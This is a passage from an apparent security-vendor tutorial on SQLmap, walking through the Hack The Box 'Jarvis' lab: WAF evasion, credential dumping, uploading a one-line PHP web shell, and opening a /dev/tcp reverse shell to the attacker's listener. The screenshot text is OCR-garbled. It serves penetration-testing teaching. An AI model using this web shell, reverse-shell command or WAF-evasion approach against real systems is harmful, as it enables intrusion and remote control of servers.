critical error before ending the execution. Upon taking a closer look at the error message, it seems
to suggest that the SQLmap testing procedures were halted due to a protection mechanism such
as a WAF. In addition, the error message provides a multitude of potential parameters to apply that
may be able to circumvent this issue.

~[~/Desktop/HTB/Jarvis
http://10.10.10.143/room. php?cod=1

qlnap.o

lmap for attacking targets without prior mutual consent is illegal. It ibility to obey all
elope: ume no liability and are not onsible for any misuse or d by this program

[*] starting @ 06

1 [1NF0] testing connection to the target URI

L
ared cookie(s), while ser s to set i 'PHPSESSID=hfbv2digqpl ... pscvépaasd’). Do you want to use those [¥/n] Y
a by =

d* appea be dynamic

(basic) test shows that GET parameter 'cod' might be injectable
testing for SQL injection on GET parameter '

g 'AND sed blind - WHE
GET parameter 'cod’ appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with —string="of")
heuristic (extended) test shows that the back-end DBMS could be 'MysaL'
back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
g A d - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'

i
(Exp)"

Figure 64. Initial SQLmap execution on Jarvis part 1 of 2



n technique at one other (potential) technique found

Lumns*

outdated

[*] ending @ 06 /2025-04-10,

~/Desktop/HTB/Jarvis

Figure 65. Initial SQLmap execution on Jarvis part 2 of 2

To verify that there is indeed a problem with this URL, it was visited using the Firefox browser.

Lo and behold, as shown in Figure 66, the URL displays the error message "Hey you have been
banned for 90 seconds, don’t be bad" to confirm that the SQLmap execution has affected (albeit,
temporarily) this web page. To further investigate this, after the 90-second ban, a simple curl
command was used to extract the HTTP response header of the web server target. As shown in
Figure 67, the curl command has exposed the existence of a web application firewall (as correctly
predicted by SQLmap) named IronWAF with a version of 2.0.3.

Hey you have been banned for 90 seconds, don't be bad

Figure 66. HTTP error page

L. 1
HTTP/1.1
Date: Thu, 1@ Apr
Server: A 2.4
Set-Cooki

Expires: Thu
Cache-Contro

[~/Desktop/HTB/Jarvis]

Figure 67. WAF investigation



Equipped with this new insight into the target, the SQLmap is once again executed but this

time, with several additional parameters to hamper the activation of the WAF. To elaborate, the
“--random-agent " flag aids in the evasion of basic signature-based WAF rules by rotating User-
Agent headers to mimic requests from legitimate browsers, while the setting of the "--level” and
“--risk” parameters as 1 helps minimize the aggressiveness of the payloads, reducing the chances
of triggering WAF detection or automated blocking mechanisms. This SQLmap was executed
successfully and reveals the target’s back-end OS, web app stack, and the DBMS as shown in
Figures 68 and 69.

/Desktop/HTB/Jarvis
10.10.10.143:80/r00m. php?co
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URL content is stable

~ WHERE or
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it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]
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igure 68. Successful SQLmap execution to evade WAF part 1 of 2
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Figure 69. Successful SQLmap execution to evade WAF part 2 of 2



It is now established that the additional SQLmap parameters can successfully evade the WAF from
blocking the SQLmap probes towards the web server target. As shown in Figure 7-, the "--users’
and "--password" flags are then utilized on the SQLmap execution. This execution was able to
expose the password (in hash and plaintext format) of the "DBadmin” user as demonstrated in
Figure 71. However, upon testing these credentials, it was confirmed that they were not valid for
SSH.

~[~/Desktop/HTB/3:
-u http://10.10.10.14

obey all applic

' PHPSESSID=65G9snmS71n ... ninalcrb13’). Do you want to use those [¥/n] Y

ON query (NUL
UNION ALL JNULL, NULL,, CONCAT(0x7
NULL—

[18F0] the back-end DBMS is MysaL

for eventual further processing with other tools [y/N] N
gainst retrieved password hashes? [Y/n/ql Y

i :57] [INFO] using e

what dictionary do you want to use?

[1] default dictionary file '/usr/share/sqlmap/data/txt/wordlist.tx_' (press Enter)

[2] custom dictionary file

[3] file with list of dictionary files

>1

[ 1 [INFO] using default diction

do you want to use common password suffixe

L 1 [1nFO]

~[~/Desktop/HTB/Jarvis

Figure 71. SQLmap execution to expose DBadmin credentials part 2 of 2

At this point in the CTF, no foothold has been obtained yet. However, whenever a web service
(HTTP or HTTPS) has been compromised, there exists a great chance of establishing a web shell.
Essentially, a web shell is a script or executable code (often written in PHP, ASP, or JSP) that is
uploaded to a vulnerable server, allowing an attacker to execute arbitrary commands remotely
through a browser interface. It acts as a backdoor into the compromised web server, enabling an
attacker to navigate the file system, upload or download files, escalate privileges, and even pivot
deeper into the internal network, all from a web interface or command-line proxy.



To kick-off this web shell journey, a simple yet effective PHP-based web shell was created,
as shown in Figure 72. The process begins by creating a file named shell.php, which is then
populated with a minimal PHP payload " <?php system($_GET['cmd’]); ?>". This lightweight
web shell provides a functional backdoor, allowing the attacker to run any command on the
compromised system from a distance, as long as PHP is supported and file execution is permitted.

-[~/Desktop/HTB/Jarvis
shell.php

-[~/Desktop/HTB/Jarvis

L shell.php
<7php stem($_GET['cmd']); 7>

— -[~/Desktop/HTB/Jarvis

Figure 72. PHP web shell creation for Jarvis

To deploy the crafted PHP web shell onto the target machine, SQLmap’s powerful file upload
functionality is leveraged by using the "--file-write* and *--file-dest" parameters, as shown in
Figure 73. The "--file-write" flag specifies the path to the local file intended for upload and in this
case, it is fed with the value of *./shell.php” On the other hand, the "--file-dest" flag merely sets
the exact location on the remote server where the file should be written, which is the web root (/
var/www/html/shell.php) in this case. By targeting this location, it ensures that the uploaded PHP
web shell becomes publicly reachable through a standard HTTP request.

~/Desktop/HTB/Jarvis
http://10.10.10 . php?cod= i +/shell.php var/wmi/html/shell.php

suming nd DBMS 'mys
esting connection to the target URL

ared cookie(s), while server wants to set its own ('PHPSESSID=7nh5901pi0i ...uffop666es'). Do you want to use those [¥/n] Y

e f

[
you have not d
E injection point(s) from £

th

blind - WHERE or HAVING

ULL, NULL, NULL, CONCAT(0x71626b7671, 0x64

from UNION query
fully written on the back-end DBMS file system ('/var/wwi/html/shell.php')? [Y/n]

Figure 73. SQLmap "--file-write” & *--file-dest" execution for Jarvis

With the PHP web shell successfully uploaded to the target’s web root directory, the next

logical step is to verify its functionality via a web browser. As shown in Figure 74, accessing
“http://10.10.10.143/shell.php?cmd=id " will execute the “id" command on the server, which

returns information about the current user context under which the web server is running. The
response, visible in the browser window, confirms execution with output as "uid=33(www-data)
gid=33(www-data) groups=33(www-data)", clearly indicating that the command ran successfully
under the "'www-data" user account. The "www-data" user is a common service-level user in
Linux-based web environments. If a terminal interface is preferred mode, then the “curl® command
is a great alternative to utilize the web shell as well as demonstrated in Figure 75.

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Figure 74. Testing the web shell on Jarvis



Figure 75. Testing the web shell via "cURL"

A functioning web shell is great, but to obtain a foothold via a reverse shell is even better. This is
because a reverse shell provides an interactive and persistent connection back to the attacker’s
machine, allowing for more flexible command execution, real-time feedback, and the ability to
run complex scripts or tools that are not feasible through a simple web shell interface. This shift
greatly enhances post-exploitation capabilities, such as privilege escalation, lateral movement,
and file transfer operations. In addition, a reverse shell can help evade logging mechanisms and
web application firewalls by minimizing the visibility of malicious requests in the target's HTTP
logs.

To start the process of establishing a reverse shell, a Netcat listener is activated using the
command “nc -lvnp 4444, as shown in Figure 76. The web shell is then revisited to execute the
command " /bin/sh -i >& /dev/tcp/10.10.14.21/4444 0>&1", as shown in Figure 77. This initiates a
connection from the target machine back to the attacker’s Netcat listener, effectively spawning
a reverse shell. Once executed through the web shell, the attacker’s Netcat listener immediately
receives an incoming connection, granting direct terminal access to the compromised machine
under the privileges of the web server process (typically www-data). This marks the transition
from a passive web-based interaction to an active, interactive shell session.

~[~/Desktop/HTB/Jarvis

Figure 77. Utilize web shell to execute a reverse shell command

This Netcat reverse shell is great, but it can be further improved to provide a more stable and
fully interactive shell environment. By default, reverse shells obtained through Netcat are often
limited in functionality, lacking features such as command history, tab completion, and proper
signal handling (e.g., ~Ctr/+C" shortcut). These limitations can make post-exploitation actions
cumbersome and error-prone. To overcome these obstacles and elevate the reverse shell
experience to something closer to a native terminal session, a common approach is to upgrade
it using a series of terminal control commands. This process enables a pseudo-terminal and
configures the terminal settings to restore essential interactive capabilities.

Firstly, begin by executing the command " python -c ‘import pty; pty.spawn(“bash”)” in the reverse
shell, as shown in Figure 78. This wraps the current shell session in a pseudo-terminal, which
grants it behavior similar to a full-fledged terminal.

Figure 78. Stabilize reverse shell part 1 of 5



Secondly, suspend the shell by pressing “Ctrl + Z*, as shown in Figure 77. This backgrounds the
session and brings you back to your local terminal.

-[~/Desktop/HTB/Jarvis ]

ui ( -d )
python -c 'impor

-[~/Desktop/HTB/Jarvis ]

Figure 79. Stabilize reverse shell part 2 of 5

Thirdly, on your local terminal, run the command " stty raw -echo; fg", as shown in Figure 80. This
command sets your terminal to raw mode and disables local echo, which is essential for correctly
handling input and output between your terminal and the reverse shell, while the “fg* command
brings the reverse shell back into the foreground.

— )-[~/Desktop/HTB/Jarvis ]
raw -echo

[1] + continued nc -lvnp 4444

Figure 80. Stabilize reverse shell part 3 of 5

Fifthly, once reattached to the shell, type the command “reset’ and press "Enter’, as shown in
Figure 81. This reinitializes the terminal environment, ensuring proper screen formatting and shell
behavior.

-[~/Desktop/HTB/Jarvis]
L t

nc -lvnp 4444
resetf]

Figure 81. Stabilize reverse shell part 4 of 5
Lastly, if prompted for a terminal type, simply type “screen’ or® xterm" and then press "Enter’, as

shown in Figure 82. This informs the shell of the terminal capabilities to emulate, restoring features
such as line editing and command history.

— )-[~/Desktop/HTB/Jarvis ]
raw -ec f

[1] + continued nc -lvnp 4444

reset

Figure 82. Stabilize reverse shell part 5 of 5

As shown in Figure 83, following this procedure significantly enhances the usability of the reverse
shell, making it much more practical for further enumeration and exploitation tasks.

Figure 83. Obtain stabilized reverse shell



Conclusion

SQLmap remains one of the most powerful tools in a penetration tester’s arsenal for automating
SQL injection (SQLI) discovery and exploitation. As demonstrated across DVWA' low to impossible
difficulty levels in this two-part series, SQLmap supports a wide array of injection types, each
tailored for different injection scenarios and backend technologies. Its extensive range of flags,
tamper scripts, and evasion techniques allows it to simulate real-world attack behaviors against
modern database applications.

Throughout this article, we explored the foundational aspects of SQL injection vulnerabilities
using DVWA as our controlled testing environment. We began with an overview of SQL injection
and SQLmap, then moved on to the Dockerized deployment of DVWA. A detailed breakdown

of both the back-end PHP logic and front-end interfaces for the low and medium difficulty
levels illustrated how unsanitized user input can lead to exploitable flaws. Through SQLmap, we
conducted a range of automated attacks, starting with simple banner grabs and expanding to
full database enumeration and data dumping. We also incorporated techniques such as delayed
executions and roles/privilege enumeration to optimize our exploitation efforts.

We also discussed advanced SQL injection challenges presented in the high and impossible
difficulty levels of the DVWA. This included bypassing WAFs using tamper scripts, leveraging
SQLmap’s more aggressive flags such as "--technique”, "--threads", and "--os-shell", as well
as deploying web shells through file write operations. Aside from that, we also stepped beyond
DVWA to explore real-world scenarios using vulnerable machines including Jarvis from HTB. As
complexity increases, so too will our emphasis on stealth, evasion, and post-exploitation tactics,
which sets the stage for mastering SQLmap in realistic and hardened environments.

Trustwave’s dbProtect and AppDetectivePro products offer robust security coverage and
hardening checks against such SQL injection attack vectors. These solutions are equipped

with Database Activity Monitoring (DAM) capabilities that can identify and provide alerts on
suspicious SQLmap-generated behavior such as error-based and UNION SELECT enumeration

as well as SQL comment and quotation mismatch input detection attempts. They can also detect
misconfigurations and missing patches that make SQLi vulnerabilities exploitable. Furthermore,
their support extends to vulnerability assessment, policy compliance (e.g., CIS, DISA-STIG, etc.),
real-time monitoring, and signature-based detection of known CVEs across PostgreSQL, MS SQL,
MySQL, MariaDB, MongoDB, Elasticsearch, OracleDB and many more database platforms.
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